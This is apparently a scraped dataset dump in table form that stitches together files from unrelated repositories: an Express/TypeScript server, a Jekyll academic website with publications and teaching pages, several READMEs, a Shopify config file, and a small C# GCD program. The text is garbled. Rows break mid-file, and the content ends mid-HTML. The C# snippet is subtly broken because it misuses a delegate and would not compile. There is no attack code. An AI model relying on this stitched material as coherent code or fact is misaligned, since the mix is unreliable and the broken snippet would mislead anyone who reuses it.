branch_name
stringclasses 22
values | content
stringlengths 18
81.8M
| directory_id
stringlengths 40
40
| languages
listlengths 1
36
| num_files
int64 1
7.38k
| repo_language
stringclasses 151
values | repo_name
stringlengths 7
101
| revision_id
stringlengths 40
40
| snapshot_id
stringlengths 40
40
|
---|---|---|---|---|---|---|---|---|
refs/heads/main
|
<repo_name>ShadVlad/JS_course_hard<file_sep>/scripts/script.js
let money;
let incom;
let addExpenses;
let deposit;
let mission;
let period;
alert("Hello, teacher!");
console.log("Это сообщение в консоли lesson02....");
|
4289683bfb9b495fe281d4aee82f6287ece9bb68
|
[
"JavaScript"
] | 1 |
JavaScript
|
ShadVlad/JS_course_hard
|
6d435dd5270a0014be6d8e46cb7644f2c605f9ed
|
a2502bfd1f9a305854ef82df9287ea0ada804642
|
refs/heads/master
|
<repo_name>MAKoski/makesafaridrumpf<file_sep>/README.md
# Make Safari Drumpf
This is forked from the [original project](https://github.com/cliffrowley/makesafaridrumpf)
A Safari version of the [chrome extension](https://chrome.google.com/webstore/detail/drumpfinator/hcimhbfpiofdihhdnofbdlhjcmjopilp?hl=en) for the awesome [Make Donald Drumpf Again](http://www.donaldjdrumpf.com) campaign.
## Installing
There are two ways to install this extension. Either use the latest signed release [here](http://d94laddtbr234.cloudfront.net/MakeSafariDrumpf.safariextz), or build and sign it yourself using the Safari extension builder.
## Contributing
Please feel free to submit issues and pull requests.
|
21b217ad9511c24e6a761e2070273747d3bc645f
|
[
"Markdown"
] | 1 |
Markdown
|
MAKoski/makesafaridrumpf
|
3471b644373b17b846bbfa7d184b0a33fb3bf343
|
ce833a6a53b03e1782fa6ee8123cc295c7d377d0
|
refs/heads/main
|
<file_sep># Technical Interview Assessment
Thank you for participating in the technical interview assessment! This assessment is designed to test your skill set for feature design and bug fixes in the following areas:
* Code quality
* User interface design
* Ability to understand existing code
* Communication (either in questions if they come up, comments, or commit messages)
## The Project
Your assessment involves a fairly simple application: A calculator. This calculator performs all of its operations server side and returns the results through an API layer within the application.
### Requirements to Run:
* Visual Studio 2019 (Community)
* SQLite Database Browser (one option: [https://sqlitebrowser.org](https://sqlitebrowser.org/))
### Commit Message Requirements
Your commit messages are your own and should be written in a way that you think is appropriate, but please include a reference to the feature, bug, or extra credit that is related to your commit message.
### Time Expectations
This is designed to be a quick project that should take no longer than an afternoon, at most. Please try to return your results within four business days of receiving this assessment. If you need to take longer, please contact your interviewer and let them know.
### Upon Completion of Project
If you have completed making all of your changes and have tested them, please upload your final branch of code into a GitLab repository under your account, and then email your interviewer a link to the repository.
## The Assessment
#### Before you get started, [click here to generate a new repository from this template](https://github.com/takethree/interview-assessment/generate). This will create a repository in your account with your own copy of the code.
### Feature #1: Keyboard Functionality
Right now, the calculator requires the user to press the buttons in the user interface in order to perform mathematical operations.
We would like to add support so the user can use the numerical keypad on their keyboard instead of clicking buttons on the screen.
### Feature #2: Retaining the Last Total
If the user refreshes the screen, the last total value in the screen is wiped out.
We would like to add support so, upon a page refresh, the last total is still visible. This would require adding a new database column to the SessionData table in the database to store the last calculated value, then making a request for that value when the page is loaded.
### Bug #1: Button Increment Count Not Storing
We log every time a button is pressed in the user interface. We do not currently output this into the user interface, but have support for it in API calls. Currently though, this is purely used for reporting purposes.
A user has reported that the data in the database is empty -- all button counts are "zero". We need to identify why the value is not updating and correct it.
### Bug #2: Dividing By Zero Returns "Infinity"
A user reported an issue where, when they divide by zero, they were expecting a "divide by zero" error message to appear, but instead the application is returning "Infinity".
We need to identify why this is happening, and implement a correction so it properly returns the relevant message.
## Extra Credits
These are all optional and are not expected of anyone participating in this stage of the interview. Just some fun items if you have spare time available.
### Extra Credit #1: Find Areas of Improvement
There are likely one or more areas of the code base where things could be optimized, improved, or a potential bug could be exposed if certain steps aren't taken in the correct order.
Feel free to look around the code and make changes you think may improve the system.
### Extra Credit #2: Implement a New Framework (frontend or backend)
This application is fairly basic, using no special technologies other than what is needed for it to operate.
Look at implementing a new framework of your choice either in the frontend or backend of the system that provides advantages for future features that have yet to be determined (ex: adding Angular).
### Extra Credit #3: Add Historical Calculation Tracking:
All of the other calculators on the market keep track of your historical calculations. We would like to add support into this application for doing the same.
* Add a new database table to track each calculation operation (left value, right value, and which operator was used), the session associated with the calculation, and the result from that operation.
* Add API support for getting the calculation operation history from the database
* Add javascript support for querying the API and pulling in the item(s) from the historical table
* Add a user interface element to display all of the historical calculation operations
### Extra Credit #4: Improve Session Management
Right now sessions are purely based on the `sessionId` stored as a URL parameter. If the user deletes that parameter or comes back to the calculator from the main page, they lose their data.
Migrate the session management to be cookie-based, either implemented using a third party library or a custom design of your own.
|
f9f9eb8def39c3f2361bf151cf5d4ed8ac2aedde
|
[
"Markdown"
] | 1 |
Markdown
|
takethree/interview-assessment
|
277fedf5797326089403526a9cf956c7a969f9d8
|
53ee2283b0fa762821d96e46253d8748b0e907c4
|
refs/heads/master
|
<repo_name>cantuus/necessary-behavior-site<file_sep>/config.yml
development:
password: <PASSWORD>
theme_id: "75714789436"
store: necessary-behavior.myshopify.com
|
8c3ecd6eb2bb86f11bbc0ae4ec91b9f025df6fe9
|
[
"YAML"
] | 1 |
YAML
|
cantuus/necessary-behavior-site
|
562629d1b5709464e9bec97ea98e70fc0f7b26f0
|
c9ccdfad933a20aeb3d87a5cf556d2d31266a303
|
refs/heads/master
|
<repo_name>ITMO-GameDev/p1-quicksort-nikchernyakov<file_sep>/README.md
# Алгоритмы и структуры данных
<NAME> С4122
## Задача 1
**Алгоритм быстрой сортировки** - реализация представлена в ветке [p1-quicksort](https://github.com/ITMO-GameDev/p1-quicksort-nikchernyakov/tree/p1-quicksort)
## Задача 2
**Динамический массив** - реализация представлена в ветке [p2-containers](https://github.com/ITMO-GameDev/p1-quicksort-nikchernyakov/tree/p2-containers)
## Задача 3
**Словарь** - реализация представлена в ветке [p3-search](https://github.com/ITMO-GameDev/p1-quicksort-nikchernyakov/tree/p3-search)
## Задача 4
**Менеджер памяти** - реализация представлена в ветке [p4-memory](https://github.com/ITMO-GameDev/p1-quicksort-nikchernyakov/tree/p4-memory)
|
179485463729e6c2a3d3dfe91b0a86f49d3b1621
|
[
"Markdown"
] | 1 |
Markdown
|
ITMO-GameDev/p1-quicksort-nikchernyakov
|
060011d288e952511b50e6082d855e0ecf6408ba
|
7d566ff75603572d49181dd35ee7e71ede4efe8e
|
refs/heads/master
|
<repo_name>Ampersandnz/SE701_A01<file_sep>/src/uni/UniParserConstants.java
/* Generated By:JavaCC: Do not edit this line. UniParserConstants.java */
package uni;
/**
* Token literal values and constants.
* Generated by org.javacc.parser.OtherFilesGen#start()
*/
public interface UniParserConstants {
/** End of File. */
int EOF = 0;
/** RegularExpression Id. */
int UNIVERSITYNAME = 5;
/** RegularExpression Id. */
int WEBSITE = 6;
/** RegularExpression Id. */
int URL = 7;
/** RegularExpression Id. */
int EST = 8;
/** RegularExpression Id. */
int YEAR = 9;
/** RegularExpression Id. */
int GPS = 10;
/** RegularExpression Id. */
int DEG = 11;
/** RegularExpression Id. */
int EW = 12;
/** RegularExpression Id. */
int NS = 13;
/** RegularExpression Id. */
int SECONDS = 14;
/** RegularExpression Id. */
int FACULTY = 15;
/** RegularExpression Id. */
int STUDENTS = 16;
/** RegularExpression Id. */
int STAFF = 17;
/** RegularExpression Id. */
int CODE = 18;
/** RegularExpression Id. */
int CODENAME = 19;
/** RegularExpression Id. */
int COURSEID = 20;
/** RegularExpression Id. */
int COURSEPOINTS = 21;
/** RegularExpression Id. */
int DIGIT_3 = 22;
/** RegularExpression Id. */
int DIGIT_2 = 23;
/** RegularExpression Id. */
int DIGIT = 24;
/** RegularExpression Id. */
int COMMA = 25;
/** RegularExpression Id. */
int LEFTCURLY = 26;
/** RegularExpression Id. */
int RIGHTCURLY = 27;
/** RegularExpression Id. */
int NAME = 28;
/** RegularExpression Id. */
int NUMBER = 29;
/** Lexical state. */
int DEFAULT = 0;
/** Literal token values. */
String[] tokenImage = {
"<EOF>",
"\" \"",
"\"\\r\"",
"\"\\t\"",
"\"\\n\"",
"\"UNIVERSITY\"",
"\"WEBSITE\"",
"<URL>",
"\"EST\"",
"<YEAR>",
"\"GPS\"",
"\"deg\"",
"<EW>",
"<NS>",
"<SECONDS>",
"\"FACULTY\"",
"\"STUDENTS\"",
"\"STAFF\"",
"\"CODE\"",
"<CODENAME>",
"<COURSEID>",
"<COURSEPOINTS>",
"<DIGIT_3>",
"<DIGIT_2>",
"<DIGIT>",
"\",\"",
"\"{\"",
"\"}\"",
"<NAME>",
"<NUMBER>",
};
}
|
1e32f02cee44ca8d2135c3db530f9636f246aef7
|
[
"Java"
] | 1 |
Java
|
Ampersandnz/SE701_A01
|
d512b43476e89eab5c3ad666f655084416b34501
|
5c36ded001bcbd08cc5350999c3e8025f16171d7
|
refs/heads/master
|
<repo_name>ddtdt113/2D-DFT<file_sep>/README.md
# 2D-DFT
2D dft for image processing in python
|
3b3647388cf7d0bba74c662d762ab49b53904a6c
|
[
"Markdown"
] | 1 |
Markdown
|
ddtdt113/2D-DFT
|
035e2e595a1603e5dca4ff65394efc4e541a665c
|
18dbfee3b4064aa4b1b7473ff9face5288a79ddd
|
refs/heads/master
|
<file_sep># R-wnanieKwadratowe
|
be019f12299576c46c003baf6085e1bcdb13db28
|
[
"Markdown"
] | 1 |
Markdown
|
matbar97/R-wnanieKwadratowe
|
0419f5aee7b764c5eef76564e7c1a6241139125f
|
2cdc7d2dc1d0b0d592ced0e8a3f97e25cd45f79c
|
refs/heads/master
|
<file_sep># mol
Meaning of Life project (Alia Kapadia)
<file_sep>import Express from "express";
import LoggerConfiguration from "./Logger/LoggerConfiguration";
import Winston from "winston";
import BodyParser from "body-parser";
import { Server } from "http";
import RoutingTable from "./Routes/RoutingTable";
import Router from "./Routes/Router";
import Connection from "./Mongo/Connection";
export default class App {
private express : Express.Application;
private logger : Winston.Logger | null;
private server : Server | null;
private started : boolean;
private port : number;
private initialized : boolean;
private routingTable : RoutingTable;
private connection : Connection;
constructor() {
// Create an express application
this.express = Express();
// Set the state of the application to down
this.started = false;
this.initialized = false;
this.logger = null;
this.server = null;
this.port = NaN;
this.routingTable = new RoutingTable();
this.connection = new Connection(this);
this.handleListen = this.handleListen.bind(this);
}
public async initialize() {
this.initialized = true;
// Create a Winston Logger and use it in middleware to log
// incoming HTTP requests, method, and meta data
const loggerConfiguration : LoggerConfiguration = new LoggerConfiguration(this.express);
loggerConfiguration.initialize();
this.logger = loggerConfiguration.getLogger();
// Initialize mongoose connection
if (process.env.CONNECTION_STRING === undefined) {
this.logger.error("Connection string to mongo database is not configured in system environment");
process.exit();
} else {
await this.connection.connect(process.env.CONNECTION_STRING)
}
// Initialize body parsing of requests
this.express.use(BodyParser.urlencoded({ extended: false }));
this.express.use(BodyParser.json());
// Configures all routes in the routing table
this.routingTable.getTable().forEach((router : Router, baseUrl : string) => {
router.configureRoutes();
this.express.use(baseUrl, router.getExpressRouter());
})
}
// Tell the application to listen on the port
// defined in the environment variables and
// log when the application has begun listening.
public start(port : number) {
if (!this.started && this.initialized) {
this.port = port;
this.started = true;
this.server = this.express.listen(port, this.handleListen);
}
if (!this.initialized) {
throw new Error("Application must be initialized before starting");
}
}
// Handles when the application successfuly starts on a given port
private handleListen() {
if (this.logger === null) {
throw new Error("Logger not initialized before starting the server");
} else {
this.logger.info(`Starting server on port ${process.env.PORT}`);
}
}
// Returns the instance of the logger being used if it is initialized
public getLogger() : Winston.Logger {
if (this.logger === null) {
throw new Error("Logger has not been initialized yet");
}
return this.logger;
}
// Gets the http server instance if it is initialized
public getServer() : Server {
if (this.server === null) {
throw new Error("Server has not been initialized yet");
}
return this.server;
}
// Get the reference to the express application that powers the web server
public getExpressApplication() : Express.Application {
return this.express;
}
// Checks if the application is running
public isRunning() {
return this.started;
}
// Gets the port the application is running on
public getPort() {
return this.port;
}
public static getContext() {
return context;
}
}
const context = new App();<file_sep>import { Application } from "express"
import Winston from "winston";
import WinstonMiddleware from "express-winston";
export default class LoggerConfiguration {
private app : Application;
constructor(app : Application) {
this.app = app;
}
public initialize() {
this.app.set('logger', this.createLogger());
this.useLoggerInMiddleware();
}
public getLogger() : Winston.Logger {
return this.app.get('logger');
}
private createLogger() : Winston.Logger {
return Winston.createLogger({
transports: [
new Winston.transports.Console({
format: this.getFormat()
})
]
});
}
private getFormat() {
return Winston.format.combine(
Winston.format.colorize(),
Winston.format.timestamp(),
Winston.format.printf((info) => {
const { timestamp: rawTimeStamp, level, message, ...args } = info;
const timeStamp = rawTimeStamp.slice(0, 19).replace('T', ' ');
return `${timeStamp} [${level}]: ${message} ${Object.keys(args).length ? JSON.stringify(args, null, 2) : ''}`;
}),
)
}
private useLoggerInMiddleware() {
this.app.use(WinstonMiddleware.logger({
transports: [
new Winston.transports.Console()
],
format: this.getFormat(),
meta: true,
msg: "HTTP {{req.method}} {{req.url}}",
expressFormat: true,
colorize: true
}));
}
}<file_sep>import React, { Props } from 'react';
import Axios from "axios";
import './App.css';
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'
import { faCoffee } from '@fortawesome/free-solid-svg-icons'
interface IState {
isPinging: boolean
isRunning: boolean
}
export default class App extends React.Component<{}, IState> {
public state: IState = {
isPinging: true,
isRunning: false,
};
constructor(props : {}) {
super(props);
this.getStatus();
}
public render() {
return (
<div className="App">
<header className="App-header">
<FontAwesomeIcon icon={faCoffee} />
<p> The Net Project </p>
{
!this.state.isPinging
? <p>Server is up.</p>
: <p>Server is down.</p>
}
</header>
</div>
);
}
async getStatus() {
const res = await Axios.get("/ping");
this.setState({
isPinging: false,
isRunning: res.data.running
})
}
}
<file_sep>import Express from "express"
export default abstract class Router {
// Instance of the express router
protected routeHandler : Express.IRouter;
constructor() {
this.routeHandler = Express.Router();
}
// Configures all routes on the express route handler
public abstract configureRoutes() : void;
// Gets an instance of the express router
public getExpressRouter() : Express.IRouter {
return this.routeHandler;
}
}<file_sep>import App from "../src/App";
import { Application } from "express";
import Connection from "../src/Mongo/Connection";
const OLD_ENV = process.env;
describe("App Suite", () => {
beforeEach(() => {
jest.resetModules() // this is important - it clears the cache
process.env = { ...OLD_ENV };
delete process.env.NODE_ENV;
process.env.CONNECTION_STRING = "";
Connection.prototype.connect = jest.fn().mockResolvedValue(true);
});
afterEach(() => {
process.env = OLD_ENV;
});
test("Should initialize the application", async () => {
const app : App = new App();
await app.initialize();
expect(app.getLogger()).not.toBeNull();
expect(app.getExpressApplication()).not.toBeNull();
expect(app.isRunning()).toBeFalsy();
expect(app.getPort()).toBeNaN();
});
test("Should fail to start the appliaction becuase it has not been initialized", () => {
const app : App = new App();
expect(() => {
app.start(8080);
}).toThrow(new Error("Application must be initialized before starting"));
});
test("Should start the appliaction", async () => {
const app : App = new App();
await app.initialize();
const express : Application = app.getExpressApplication();
express.listen = jest.fn();
app.start(8080);
expect(app.getLogger()).not.toBeNull();
expect(app.getServer()).not.toBeNull();
expect(app.isRunning()).toBeTruthy();
expect(app.getPort()).toEqual(8080);
})
})<file_sep>import Mongoose from "mongoose";
import App from "../App";
export default class Connection {
private appContext : App;
constructor(app : App) {
this.appContext = app;
}
async connect(connectionUrl: string) {
const logger = this.appContext.getLogger();
try {
// Connect to mongo
await Mongoose.connect(connectionUrl, {
useNewUrlParser: true,
useUnifiedTopology: true,
});
logger.info("Connected to mongo database");
} catch (error) {
// Handle failed connection
logger.error(error.message);
process.exit();
}
}
}<file_sep>import PingRouter from "./PingRouter";
import Router from "./Router";
export default class RoutingTable {
// Table of all relative urls mapped to their routers
private table : Map<string, Router>;
constructor() {
this.table = new Map<string, Router>();
this.table.set('/ping', new PingRouter());
}
// Gets the routing table
public getTable() : Map<string, Router> {
return this.table;
}
}<file_sep>import App from "../App";
import Router from "./Router";
import { Request, Response } from "express";
export default class PingRouter extends Router {
// adds all routes to the routeHandler
public configureRoutes() : void {
this.routeHandler.get("/", this.handlePing);
}
// handles a ping to check the state of the server
public handlePing(request : Request, response : Response) {
response.send({
running: App.getContext().isRunning()
}).status(200);
}
}<file_sep>#!/usr/bin/env node
/**
* Module dependencies.
*/
import App from "./App";
import { config as ConfigureEnvironment } from "dotenv";
import { Server } from "http";
const AppContext = App.getContext();
ConfigureEnvironment();
/**
* Get port from environment and store in Express.
*/
let argPort = '8080';
if (process.argv.length >= 2) {
argPort = process.argv[2];
}
let port : number = normalizePort(process.env.PORT || argPort || '8080');
/**
* Normalize a port into a number, string, or false.
*/
function normalizePort(val : any) {
var port = parseInt(val, 10);
if (isNaN(port)) {
// named pipe
return val;
}
if (port >= 0) {
// port number
return port;
}
return false;
}
/**
* Initialize Application
*/
AppContext.initialize().then(() => {
/**
* Start Application
*/
AppContext.start(port);
const server : Server = AppContext.getServer();
server.on("error", onError);
}).catch((error) => {
/**
* Failed to initialize application
*/
throw error;
});
/**
* Event listener for HTTP server "error" event.
*/
function onError(error : any) {
if (error.syscall !== 'listen') {
throw error;
}
var bind = typeof port === 'string'
? 'Pipe ' + port
: 'Port ' + port;
// handle specific listen errors with friendly messages
switch (error.code) {
case 'EACCES':
console.error(bind + ' requires elevated privileges');
process.exit(1);
break;
case 'EADDRINUSE':
console.error(bind + ' is already in use');
process.exit(1);
break;
default:
throw error;
}
}<file_sep>import LoggerConfiguration from "../../src/Logger/LoggerConfiguration";
import Express from "express";
test("Gets a logger", () => {
const configuration : LoggerConfiguration = new LoggerConfiguration(Express());
expect(configuration.getLogger()).not.toBeNull();
})
|
61316015cf08fcbecf71817a29ee286abed081dc
|
[
"Markdown",
"TypeScript",
"JavaScript",
"TSX"
] | 11 |
Markdown
|
akac2016/ProjectNet
|
129385e42988a804ccfaab66ab78df47f5829abf
|
0cc75c4a155842d329b88d8f97d889260bd994c3
|
refs/heads/master
|
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace NOD
{
class Program
{
static int GCD(int a, int b)
{
while (b != 0)
{
var t = b;
b = a % b;
a = t;
}
return a;
}
delegate string ReadLine();
static void Main(string[] args)
{
Console.WriteLine("<NAME>");
Console.Write("A = ");
var a = new ReadLine(Convert.ToInt32(Console.ReadLine()));
//var a = Convert.ToInt32(Console.ReadLine());
Console.Write("B = ");
var b = new ReadLine(Convert.ToInt32(Console.ReadLine()));
//var b = Convert.ToInt32(Console.ReadLine());
Console.WriteLine("Наибольший общий делитель чисел {0} и {1} равен {2}", a, b, GCD(a, b));
Console.ReadLine();
}
}
}
|
3cd7a1310f1089e811c8a1dbd10dc24a76654b24
|
[
"C#"
] | 1 |
C#
|
ydemeshko/NOD
|
9e6ad92536e50cc5d0f9284c314e9c23bce8a398
|
e3fccda3271b9b054e52f6d4a8f80a955b2e1828
|
refs/heads/master
|
<file_sep>---
layout: bibtex
title: Towards an Automated, High-Throughput Identification of the Greenness and Biomass of Rice Crops
---
@incollection{Buzon2018,
author = {Buzon, <NAME> and Dumlao, <NAME> and Mangubat, <NAME> and Villarosa, <NAME> and Samson, <NAME>},
booktitle = {Mechatronics and Machine Vision in Practice 3},
doi = {10.1007/978-3-319-76947-9},
isbn = {9783319769479},
keywords = {Automated phenotyping,Biomass,Greenness,Image processing,Research optimization,Rice},
pages = {117--130},
publisher = {Springer International Publishing},
title = {Towards an Automated, High-Throughput Identification of the Greenness and Biomass of Rice Crops},
url = {http://dx.doi.org/10.1007/978-3-319-76947-9_9},
year = {2018}
}
<file_sep>---
layout: citation
type: Conference Papers
id: cbmsviz
---<file_sep>---
layout: citation
type: Conference Papers
id: cbmstool
---<file_sep>---
layout: bibtex
title: Crowd Dynamics and Control in High-Volume Metro Rail Stations
---
@article{SAMSON2017195,
title = "Crowd Dynamics and Control in High-Volume Metro Rail Stations",
journal = "Procedia Computer Science",
volume = "108",
pages = "195 - 204",
year = "2017",
note = "International Conference on Computational Science, ICCS 2017, 12-14 June 2017, Zurich, Switzerland",
issn = "1877-0509",
doi = "https://doi.org/10.1016/j.procs.2017.05.097",
url = "http://www.sciencedirect.com/science/article/pii/S1877050917306488",
author = "<NAME> and <NAME> and <NAME> and <NAME> and <NAME>",
keywords = "Crowd Dynamics, Crowd Control, Complex Systems, Mass Rapid Transit"
}<file_sep>---
layout: bibtex
title: Analyzing Congestion Dynamics in Mass Rapid Transit using Agent-Based Modeling
---
@inproceedings{Samson2017,
address = {Cebu City, Philippines},
author = {<NAME> and Ibanez, Jerome and Marcaida, <NAME> and Gervasio, <NAME> and Militar, <NAME>},
booktitle = {17th Philippine Computing Science Congress},
keywords = {agent-based modeling,congestion dynamics,multi-agent systems},
pages = {209--214},
publisher = {Computing Society of the Philippines},
title = {Analyzing Congestion Dynamics in Mass Rapid Transit using},
year = {2017}
}
<file_sep># GitHub pages for brianesamson.com
[](https://travis-ci.com/brianehenyo/brianehenyo.github.io)
This is the code repository for my [personal website](https://brianesamson.com/) that is powered by [Jekyll](https://jekyllrb.com/).
## Dependencies
Here are the dependencies for this website. You can also check the `Gemfile` for more
information:
- Ruby==2.5.3
- gem==2.7.6
- jekyll=3.5.2
- minima==2.5.0
- html-proofer
- jekyll-sitemap
- jekyll-feed==0.6
- jekyll-seo-tag
## Set-up
I'm working on a macOS and here are some quick instructions to get things started.
Install the bundler and jekyll gems in your system:
```
$ gem install bundler jekyll
```
Then, install the dependencies included in your `Gemfile` and `_config.yml`, and call `jekyll serve`:
```
$ git clone https://github.com/brianehenyo/brianehenyo.github.io.git
$ cd brianehenyo.github.io/
$ bundle install
$ bundle exec jekyll serve
```
You now have a local instance of your Jekyll website that you can access at `localhost:4000`.
<file_sep>---
layout: research
id: sat-scheduler
type: Conference Papers
---
<div class="research-banner">
<figure class="research-hero">
<img class="research-figure" src="../../assets/png/sat-scheduler-hero.png" alt="Two interfaces of the prototype. The interface on the left allows users to compare schedules with other students while the one on the right allows the collaborative creation of schedule with friends.">
</figure>
<p class="research-figure-caption">Interfaces for comparing schedules with a friend and collaborative schedule generation with one or more friends.</p>
</div> <file_sep>---
layout: citation
type: Short Papers/Posters
id: taxidash
---<file_sep>---
layout: main
title: Home
---
<div class="abstract">
<p>
Hi! 👋 I am an Assistant Professor of Computer Science in the College of Computer Studies at <a href="https://www.dlsu.edu.ph/" target="_blank">De La Salle University</a>, and co-directs the <a href="https://comet.dlsu.edu.ph" target="_blank">Center for Complexity and Emerging Technologies (COMET)</a>. My research focuses on the integration of human-computer interaction and complex systems research in developing civic media and technologies that promotes prosocial behavior. I develop human-centered and interactive technologies that are designed to improve one's personal productivity and well-being, and to assess and manage urban mobility, transportation services, and disaster preparedness and response. At the same time, I investigate the underlying and complex dynamics of sociotechnical systems (e.g. crowds, social networks), especially with the introduction of technological solutions. Currently, I'm focused on rethinking navigation applications as a civic technology that encourages drivers to follow unselfish routes, which could help them develop sustainable mobility patterns.
</p>
<p>
I earned my doctorate degree in systems information science from <a href="https://www.fun.ac.jp/en/" target="_blank">Future University Hakodate</a> in Japan, and M.S. and B.S. in computer science from <a href="https://www.dlsu.edu.ph/" target="_blank">De La Salle University</a>. I was a Japanese Government (MEXT) scholar under the supervision of <a href="http://www.fun.ac.jp/~sumi/" target="_blank">Prof. <NAME>i</a> in the Interaction Media Lab. Lastly, I am a Heidelberg Laureate Forum Young Researcher in 2020 and a recipient of the VizRisk 2019 Challenge Grand Prize and Best Interaction Design Award from the World Bank and Mapbox. For more detailed information, please see the full-text versions of my <a href="/publications/">publications</a> and my latest <a href="/bio/">curriculum vitae</a>. If you are interested to collaborate, please contact me via email.
</p>
<h4>Latest Projects</h4>
<div class="projects">
<div class="project">
<img class="project-img" src="../assets/gif/riesgo.gif" alt="Riesgo visualization of evacuation suitability">
<div class="project-desc">
<p><span class="project-desc-main">Assessing and visualizing the evaucation suitability of areas</span> to inform disaster risk reduction and management policies and projects.</p>
<p>Application » <a href="https://comet.dlsu.edu.ph/riesgo-vis">Riesgo Vis</a></p>
<p>Blog » <a href="https://medium.com/dlsu-comet/vizrisk-flooding-in-marikina-city-a-case-study-2a59cf0dd1ba">Riesgo Vis on Tipping Point</a></p>
</div>
</div>
<div class="project">
<img class="project-img" src="../assets/png/drowning-rumor.png" alt="Modeling rumor spread">
<div class="project-desc">
<p><span class="project-desc-main">Modeling information spreading (i.e. truth, rumor)</span> to understand the complex dynamics of social networks.</p>
<p>Papers » <a href="/publications/drowning-rumor">PJS 148 (4)</a></p>
<p>Projects » <a href="/publications/drowning-rumor">Drowning out Rumor</a></p>
</div>
</div>
<div class="project">
<img class="project-img" src="../assets/png/factors-not-follow.png" alt="Navigation behavior studies">
<div class="project-desc">
<p><span class="project-desc-main">Driver navigation behavior</span> studies to inform effective navigation application design.</p>
<p>Papers » <a href="/publications/factors-not-follow">CHI'19</a>, <a href="/publications/two-heads-pilot">CHI'20 LBW</a></p>
</div>
</div>
<div class="project">
<img class="project-img" src="../assets/png/taxidash.png" alt="Navigation apps">
<div class="project-desc">
<p><span class="project-desc-main">Navigation, transport and wayfinding applications</span> for sustainable mobility.</p>
<p>Papers » <a href="/files/2018samson_taxidash_mobicase.pdf">MobiCASE'18</a></p>
<p>Applications » <a href="https://taxidash.herokuapp.com/discover">TaxiDash</a></p>
</div>
</div>
<div class="project">
<img class="project-img" src="../assets/png/gridlock.png" alt="Transportation studies">
<div class="project-desc">
<p><span class="project-desc-main">Interactive visualization and optimization tools</span> for transportation planning.</p>
<p>Papers » <a href="/files/2018samson_gridlock_iccs.pdf">ICCS'18</a>, <a href="/files/2017samson_swarm_iccs.pdf">ICCS'17</a>, <a href="/files/2017samson_mrtmodel_pcsc.pdf">PCSC'17</a></p>
<p>Projects » Gridlock, TranspoDesire, Swarm</p>
</div>
</div>
</div>
<h4>Past Projects</h4>
<div class="projects">
<div class="project">
<img class="project-img" src="../assets/png/luntian.png" alt="Plant phenotyping tools">
<div class="project-desc">
<p><span class="project-desc-main">Plant phenotyping tools</span> using computer vision techniques.</p>
<p>Papers » <a href="/files/2018constantino_chap_seight.pdf">M2VIP'15a</a>, <a href="/files/2018buzon_chap_luntian.pdf">M2VIP'15b</a></p>
</div>
</div>
<div class="project">
<img class="project-img" src="../assets/png/concept-rel.png" alt="Knowledge extraction tools">
<div class="project-desc">
<p><span class="project-desc-main">Knowledge extraction and language processing</span> tools for building ontologies and summarizing Philippine texts.</p>
<p>Papers » <a href="/files/2014samson_conceptrel_pkaw.pdf">PKAW'14</a>, <a href="/files/2015collantes_simpatico_nnlprs11.pdf">NNLPRS'11</a>, <a href="/files/2009samson_thematicrole_paclic.pdf">PACLIC'09</a></p>
</div>
</div>
<div class="project">
<img class="project-img" src="../assets/png/cbms.png" alt="Visualizing commmunity data">
<div class="project-desc">
<p><span class="project-desc-main">Interactive visualization tools</span> for analyzing community-based monitoring data.</p>
<p>Papers » <a href="/files/2016marcos_cbmstool_dlsurc.pdf">DLSURC'16</a>, <a href="/files/2014marcos_cbmsviz_dlsurc.pdf">DLSURC'14</a></p>
</div>
</div>
</div>
</div>
<div class="news-sidebar">
<picture>
<source media="(max-width: 600px)" srcset="../assets/jpg/profile-small.jpg">
<source media="(min-width: 800px)" srcset="../assets/jpg/profile.jpg">
<img class="profile" src="../assets/jpg/profile.jpg" alt="Profile picture of Briane">
</picture>
<h4>News</h4>
<ul class="sidebar-items">
{% for item in site.data.news %}
<li>{{ item.date }}: {{ item.text }}</li>
{% endfor %}
</ul>
<br>
<h4>Upcoming Talks & Travels</h4>
<ul class="sidebar-items">
{% for item in site.data.travels %}
<li>{{ item.date }}: {{ item.text }}</li>
{% endfor %}
</ul>
</div><file_sep># - name: Research
# link: /research/
- name: Publications
link: /publications/
- name: Bio
link: /bio/
- name: Students
link: /students/
- name: Teaching
link: /teaching/<file_sep>---
layout: page
title: Teaching
permalink: /teaching/
---
<!-- Override column widths becuase of changes in content. -->
<style>
.twocol-left-col {
width: 15%;
}
.twocol-entry {
width: 83%;
}
</style>
<div class="twocol-content twocol-section">
<p class="twocol-left-col"></p>
<p class="twocol-entry">A.Y. 2020-2021</p>
</div>
<div class="twocol-content">
<p class="twocol-left-col">Sep '20 - Feb '21</p>
<div class="twocol-entry">
<p><span class="twocol-entry-main">Human-Computer Interaction</span> (STHCIUX)</p>
<p><span class="twocol-entry-main">Advanced Software Engineering</span> (STSWENG)</p>
</div>
</div>
<div class="twocol-content twocol-section">
<p class="twocol-left-col"></p>
<p class="twocol-entry">A.Y. 2016-2017</p>
</div>
<div class="twocol-content">
<p class="twocol-left-col">May '17 - Aug '17</p>
<div class="twocol-entry">
<p><span class="twocol-entry-main">Complex Systems</span> (CSC931M)</p>
<p><span class="twocol-entry-main">Professional Software Development</span> (PROSDEV)</p>
<p><span class="twocol-entry-main">Web Programming</span> (WEB-PRG)</p>
</div>
</div>
<div class="twocol-content">
<p class="twocol-left-col">Jan '17 - Apr '17</p>
<div class="twocol-entry">
<p><span class="twocol-entry-main">Software Design Patterns</span> (SWDESPA)</p>
</div>
</div>
<div class="twocol-content">
<p class="twocol-left-col">Sep '16 - Dec '16</p>
<div class="twocol-entry">
<p><span class="twocol-entry-main">Software Engineering</span> (SOFENGG)</p>
</div>
</div>
<div class="twocol-content twocol-section">
<p class="twocol-left-col"></p>
<p class="twocol-entry">A.Y. 2015-2016</p>
</div>
<div class="twocol-content">
<p class="twocol-left-col">May '16 - Aug '16</p>
<div class="twocol-entry">
<p><span class="twocol-entry-main">Software Engineering</span> (INTROSE)</p>
<p><span class="twocol-entry-main">Professional Software Development</span> (PROSDEV)</p>
</div>
</div>
<div class="twocol-content">
<p class="twocol-left-col">Jan '16 - Apr '16</p>
<div class="twocol-entry">
<p><span class="twocol-entry-main">Software Engineering</span> (INTROSE)</p>
<p><span class="twocol-entry-main">Software Design Patterns</span> (SWDESPA)</p>
</div>
</div>
<div class="twocol-content">
